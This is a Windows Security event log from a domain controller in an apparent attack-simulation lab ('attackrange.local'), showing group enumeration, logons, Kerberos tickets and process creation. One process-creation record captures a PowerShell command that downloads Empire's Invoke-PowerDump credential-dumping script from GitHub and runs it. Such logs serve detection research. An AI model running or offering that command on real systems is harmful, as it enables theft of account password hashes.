Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257985
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257984
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257983
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257982
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257981
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257980
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257979
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257978
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257977
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257976
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257975
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257974
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257973
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257972
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257971
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257970
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257969
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:45 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258045
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x294
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13a4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {Write-Host \""STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON\"" -fore green
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore
Invoke-Webrequest -Uri \""https://raw.githubusercontent.com/BC-SECURITY/Empire/c1bdbd0fdafd5bf34760d5b158dfd0db2bb19556/data/module_source/credentials/Invoke-PowerDump.ps1\"" -UseBasicParsing -OutFile \""$Env:Temp\PowerDump.ps1\""
Import-Module .\PowerDump.ps1
Invoke-PowerDump} 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258049
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13c0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1184
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESBBED.tmp" "c:\Users\Administrator\AppData\Local\Temp\00lezr2s\CSCB44602F1346B4F50A7D26D357FDA0AD.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258048
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1184
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x294
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\00lezr2s\00lezr2s.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258047
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1228
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1010
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESBB51.tmp" "c:\Users\Administrator\AppData\Local\Temp\yvcl0vs4\CSC7A01F9535D7438DB3B21424DB1EB5A3.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258046
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1010
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x294
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\yvcl0vs4\yvcl0vs4.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=258068
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5703C0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=258067
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=258066
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55ED3E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=258065
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5703C0

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258064
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5703C0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{94F5FBEF-489D-AAF9-3BB5-270620D7B5A2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258063
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{94F5FBEF-489D-AAF9-3BB5-270620D7B5A2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=258062
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{94F5FBEF-489D-AAF9-3BB5-270620D7B5A2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=258061
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=258060
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x570395

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=258059
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x570395

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258058
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x570395
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{94F5FBEF-489D-AAF9-3BB5-270620D7B5A2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

